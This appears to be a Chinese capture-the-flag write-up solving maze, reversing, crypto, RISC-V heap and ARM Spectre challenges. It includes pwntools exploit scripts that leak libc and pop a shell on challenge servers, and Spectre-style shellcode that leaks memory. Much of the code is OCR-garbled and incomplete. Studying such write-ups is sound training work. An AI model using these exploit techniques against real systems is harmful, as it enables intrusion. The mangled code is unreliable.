哪有什么战队_从来都是一个人_WP

0x01 签到题

公众号拿flag

0x02 mips

比较明显的迷宫,3为当前位置,1为路线,4为终点,wasd控制方向,需要走三次 dump出迷宫直接人工走即可

```
In [1]: s="s"*7+"d"*7+"s"
In [2]: s+="s"*10+"d"*10+"s"
In [3]: s+="ddssddwddsssssdddssssdddss"
In [4]: import hashlib
In [5]: print hashlib.md5(s).hexdigest()
999ea6aa6c365ab43eec2a0f0e5968d5
```

flag{999ea6aa6c365ab43eec2a0f0e5968d5}

0x03 PYPY

直接运行发现:

```
$ ./main.dat
2 [33424] Error loading Python lib '/tmp/_MEIf609pp/libpython3.8.so.1.0':
dlopen: /lib/x86_64-linux-gnu/libm.so.6: version `GLIBC_2.29' not found
  (required by /tmp/_MEIf609pp/libpython3.8.so.1.0)
```

搜索错误,发现是: python3.8+pyinstaller 使用

```
https://github.com/extremecoders-re/pyinstxtractor/wiki/Extracting-Linux-
ELF-binaries
```

dump出pyc:

```
$ objcopy --dump-section pydata=pydata.dump ./main.dat
$ python3 pyinstxtractor.py ./pydata.dump [+] Processing ./pydata.dump
5 [+] Pyinstaller version: 2.1+
6 [+] Python version: 38
```

```
[+] Length of package: 15552986 bytes

[+] Found 100 files in CArchive

[+] Beginning extraction...please standby

[+] Possible entry point: pyiboot01_bootstrap.pyc

[+] Possible entry point: pyi_rth_multiprocessing.pyc

[+] Possible entry point: pyi_rth_pkgres.pyc

[+] Possible entry point: main.pyc

[+] Warning: This script is running in a different Python version than the one used to build the executable.

[!] Please run this script in Python38 to prevent extraction errors during unmarshalling

[!] Skipping pyz extraction

[+] Successfully extracted pyinstaller archive: ./pydata.dump

You can now use a python decompiler on the pyc files within the extracted directory
```

试了一下,uncompyle6可以直接decode pyc rc4.直接原函数decode即可:

```
# -*- coding: UTF-8 -*-
import random, codecs, sys, time
DEFAULT KEY = 'Y\acute{o}\x02\~A\%\x9a\x820\x0b\x7f~;\`O\ddot{U}'
def rc4(00000000000000000, key=DEFAULT_KEY, skip=1024):
 0000000000000000 = 0
 in range(256)])
 0000000000000000 = 0
 for 00000000000000000 in range(256):
  len(key))])) % 256
  else:
  0000000000000000 = 0
  if skip > 0:
    for 00000000000000000 in range(skip):
```

```
00000000000000000 =
0000000000000000.append(chr(ord(000000000000000) ^
000000000000000000))
      return ''.join(000000000000000000)
def func(00000000000000000000000):
  if 000000000000000000.encode('utf-8').hex() ==
'275b39c381c28b701ac3972338456022c2ba06c3b04f5501471c47c38ac380c29b72c3b5c
38a7ec2a5c2a0':
    return 'YOU WIN'
  return 'YOU LOSE'
print(rc4(bytes.fromhex("275b39c381c28b701ac3972338456022c2ba06c3b04f55014
71c47c38ac380c29b72c3b5c38a7ec2a5c2a0"
).decode('utf-8')))
#flag{snake_bao_is_really_lucky}
```

0x04 backpack

LLL算法求最短向量后还原信息即可

得到nonce1, nonce2后即得flag

0x05 RRSSAA

RSA套娃

```
from Crypto.Util.number import *
from gmpy2 import *
import os
n1 =
72968331464378596578736213097836639538889759902365332315018563128110329234
```

```
69834028894995888763882827280881148914714991084488173289859941577252999932
   59920953191285447232621193626481596558259180977031977971252757217415256081
   98285972415832787315444112461546745146260018587323632627512444194155444076
   53873858309154132440262888841600498885105451586030156787
   os =
   29663847693290814579599292108549463077253034517290411117565650818222098697
   06734847077404063837454548238096227843381458842322035116059935545789370388
   767999132347222281376931478665079
   n2 =
   87994385997075478104135902527696370476697303732829349373685150934389771812
   00080057948977998859737775815535703211966248578669447308370171323881776611
   03075264813548019687916249789646432293683345877522755062343500052761478105
   55241459363533576625362804706641125169760333584993303919294358578117889235
   90666783090016628619936968367309955759172412259970189158362661969
   n3 =
   24502730939655407292543436897382196297516664227273320602397906878696723372
   24287777655044656395086762481935285312203311471173212543358872477986998547
   74950988027443444489150326074699546422578258559318722819082323316238297250
   43031800535739432133948607448362641204034546581444904408754892037110031202
   57346339920162581200561526468987753723197402387000679219696182916205844666
   21726342124271864707245999413528305460437729692977332395186047493666841638
   13795999625784931375110137805143337329
   c3 =
   23850649176609488069574576816416148886692179606070063605432689009210174812
   45498563263991410918604891314384810533439253814523067168636768976220059028
   10890059232311952465790336469770032914545351776909326505271520462587023228
   82034275451509830373108765348015483098908530262342484124214979398113857256
   42492104262954059677793538707604205179344884142656842895567795000647837461
   83517939574239937268346020827131088465727989353253912189355814302993379490
   5470899127632780110459122203796256514
   81225738828166640599054154023183465870678960906769673605358084529196871174
   42942793659182258999547655204422773086880931099293410373185059739911424676
   28361211013483010792966639515036880722995423570130933247188509369252659542
   04973634470836187733828189312553819810470405246669124171178070485118436102
   895117354417
   magic =
   22238585749689335043198360403653248049710943304594623939441271714322821476
   06175381660452133866799616642403068831262241691836491409291683436342456375
   78487850945986688768857954082116136864696582066988005306045105860368497626
   82266643367887969834461905627352683770069831534697242348271330554339411094
   91782335045514658213545145351553890871388675765321397392709608232948734978
   25040963862751772914087741831403951901
p = gcd(m**7 - magic, n3)
q = n3//p
16 phi3 = (p-1)*(q-1)
18 for i in range(1024):
       if isPrime(i):
```

```
if(gcd(i, p-1) == 1):
              sinv = invert(i, p-1)
              e = 4*i*sinv+3
              if(gcd(phi3, e) == 1) and pow(m, e, n3) == magic:
   e =
   12384190936112845844322324928725718098687754832973153782371440637763223954
   66016337616080173055254330236496522532173070372088620208310730952550084626
   42158671906878720312050776177834213726024951130777509918099166786617739404
   92413791518681543351943
d = inverse(e, phi3)
c2 = pow(c3, d, n3)
30 tmp1=iroot(n2,2)[0]
33 tmp2=n2-tmp1**2
   while 1:
       tmp = iroot(tmp2,2)
      if tmp[1]:
    print gcd(os,tmp1-int(tmp[0]))
   break
      tmp1=tmp1+1
       tmp2=tmp1**2-n2
  i_e = 65537
   0 =
   16764116702850489259428311591788905003059344208211876450505816089975483497
   32091194185626951
44 s = os//o
45 t = next_prime(o)
46 u = next_prime(s)
47 phi = (o-1)*(s-1)*(t-1)*(u-1)
c1 = pow(c2, inverse(i_e, phi), n2)
49 print c1
  x =
   15324758625591678880894497170984868685648373381697813669426037353891139405\\
   67854981202963 # online
53 y =
   32181993113742525649878444059068224239861584101565408705794678443171392751
   924954605262593
  z =
   14795438296756733449582560233327230300866309118608147394651029962148945670
   27016484257850428720933989793
56 phi = (x-1)*(y-1)*(z-1)
flag = pow(c1, inverse(i_e, phi), n1)
print hex(flag)[2:].decode("hex")
59 #flag{4c2fd4e6-44de-445f-8c34-1235464de2de}
```

0x06 honorbook

```
from pwn import *
   import sys
   context.log_level="debug"
   if len(sys.argv)>=2:
      p=process(["./qemu-riscv64","-L","./libs/","./honorbook"])
   else:
         p=process(["./qemu-riscv64","-g","1234","-
   L","./libs/","./honorbook"])
   def cmd(note):
       p.sendlineafter(": ",str(note))
   def cmd2(note):
       p.sendafter(": ",str(note))
   def add(index,name,msg):
      cmd(1)
      cmd(index)
      cmd2(name)
      cmd2(msg)
   def delete(index):
      cmd(2)
      cmd(index)
   def show(index):
      cmd(3)
      cmd(index)
   def edit(index):
      cmd(4)
      cmd(index)
      cmd2(msg)
   p=remote("121.36.192.114",9999)
   for i in range(8):
     add(i,"aaaaaaaa","aaaa\n")
  for i in range(8):
     delete(7-i)
   for i in range(8):
    add(i,"aaaaaaaa","aaaaaaa\n")
   show(7)
   p.recvuntil("Msg: "+"a"*7+"\n")
   libc=u64(p.recvuntil("\n").strip().ljust(8,"\x00"))+0x4000000000-
   0x40016139f8+0x400150c000
   print hex(libc)
   delete(0)
46 delete(7)
   add(0,"11111","2"*0xe8+"\xf1")
48 add(7,"11111","a"*11*8*2+p64(0)+p64(0x31)+"\n")
   delete(7)
50 add(7,"11111","3"*0x28+p64(0xf1)+p64(libc+0x0109838-8)+"\n")
   add(8,"11111","3"*0x28+"\n")
   add(9,"11111","/bin/sh\x00"+p64(libc+0x388fe)+"\n")
```

```
delete(9)
p.interactive()
```

0x07 spec

预期应该是melt down/spec

测试远程时候发现counter误差太大,不足以侧信道,感觉是shellcode运行下和直接运行/远程条件下有什么玄学,只能盲测远程,不断调节exp

不过测试可读字符,偶然发现改成多线程后mprotect并没有开启,最后非预期直接读拿到 flag

```
from pwn import *
   import sys
   import hashlib
   import string
   context.log_level="debug"
   if len(sys.argv)>=2:
      p=process(["qemu-aarch64","-L","./","./spec"])
   else:
         p=process(["qemu-aarch64","-g","1234","-L","./","./spec"])
   os.system("aarch64-linux-gnu-gcc-8 ./1.c -fno-stack-protector -no-pie -
   std=gnu99")
   key = string.digits+string.letters
13
   def get():
      global p
      p.recvuntil("md5(")
      s1=p.recv(10)
      print s1
      for i in key:
            print i
            for j in key:
                for k in key:
                    for q in key:
                           tmp=i+j+k+q
   hashlib.md5(s1+tmp).hexdigest().startswith("000000"):
                                 p.sendlineafter(")",tmp)
                                 return 0
   p=remote("139.159.190.149",11001)
   get()
31 e=ELF("./a.out")
   start=e.symbols['flush']
   end=e.symbols['main']
   magic=e.symbols['kirin']
   shellcode=p32((magic-start+4)/4)[:3]+"\x14"
37 f=open("./a.out","rb")
38 s=f.read()
39 f.close()
   shellcode+=s[start-0x400000:end-0x400000+1]
```

这个exp盲测远程,不断微调修改之后,spec触发已经不稳定了(感觉改出bug了) 非预期部分只是在do_write部分

```
#include<stdint.h>
  #include<stddef.h>
  static inline void flush(void *addr) {
B
     asm volatile ("DC CIVAC, %[ad]" : : [ad] "r" (addr));
     asm volatile("DSB SY");
  static inline void do_write(void *addr) {
     asm volatile ("ADD X1,X0,0");
    asm volatile ("MOV X0,1");
    asm volatile ("mov x2,18");
    asm volatile ("MOV X8,0x40");
     asm volatile ("SVC 0");
   static uint64_t timed_read(volatile uint8_t *addr) {
     volatile uint64_t* magic=0x4200C0;
     uint64_t ns = *magic;
    asm volatile (
      "DSB SY\n"
      "LDR X5, [%[ad]]\n"
      "DSB SY\n"
      :: [ad] "r" (addr) : "x5");
     return *magic - ns;
   uint64_t measure_latency(uint8_t* map2) {
     uint64_t ns;
     uint64_t min = 0xFFFFF;
35
    for (int r = 0; r < 300; r++) {
      flush(&map2[0]);
      ns = timed_read(&map2[0]);
       if (ns < min && ns !=0) min = ns;
     }
     return min;
   }
   void victim_function(size_t x,uint8_t temp,uint8_t* map1,uint8_t
   *map2,unsigned int map2_size) {
     if (x < map2_size)</pre>
       temp \&= map1[map2[x] * 512];
     }
```

```
}
   void kirin(uint8_t *map1,uint8_t *map2){//to get map2
     uint64_t miss_min = measure_latency(map2);
     miss min -= 1;
     //map2[0x1000]=0x31;
     size_t = 0x1000;
     int *results=0x4200C8;
     int i,try_times,j,mix_i,k;;
     uint8_t temp=0;
     uint8_t final;
     unsigned int map2_size=16;
     size_t training_x,x;
     register uint64_t time2;
     volatile uint8_t* addr;
     for(i=0;i<256*512;i++)
        map1[i]=1;
     for(int i=0;i<256;i++)
       results[i]=0;
     for(try_times=999;try_times>0;try_times--){
       for(i=0;i<256;i++)
          flush(&map1[i*512]);
73
       training_x = try_times % map2_size;
       for(j=29;j>=0;j--){
         flush(&map2_size);
         for(volatile int z=0;z<256;z++){flush(\&map1[z*512]);}
         x=((j\%6)-1) \& \sim 0xFFFF;
         x=(x|(x>>16));
         x=training_x^(x&(malicious_x^training_x));
         victim_function(x,temp,map1,map2,map2_size);
       }
       //do_write(map1);
       for (i = 0; i < 256; i++)
         mix_i = ((i * 167) + 13) & 255;
         time2 = timed_read(&map1[mix_i * 512]);
         if (time2 <= miss_min && mix_i != map2[try_times % map2_size])</pre>
                results[mix_i]++;
       j = k = -1;
       for (i = 0; i < 256; i++)
         if (j < 0 || results[i] >= results[j])
           {
             k = j;
             j = i;
           }
         else if (k < 0 || results[i] >= results[k])
           {
             k = i;
```

```
}
        if (j == 0)
           continue;
        //do_write(&j);
        if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 &&
    results[k] == 0))
            break;
        //j=0xdd;
      map1[0]=(uint8_t)j;
     map1[1]=(uint8_t)k;
      do_write(map2+0x1000);
      do_write(&miss_min);
      //do_write(&results[k]);
123 int main(){
     uint8_t map1[10],map2[10];
      kirin(map1,map2);
```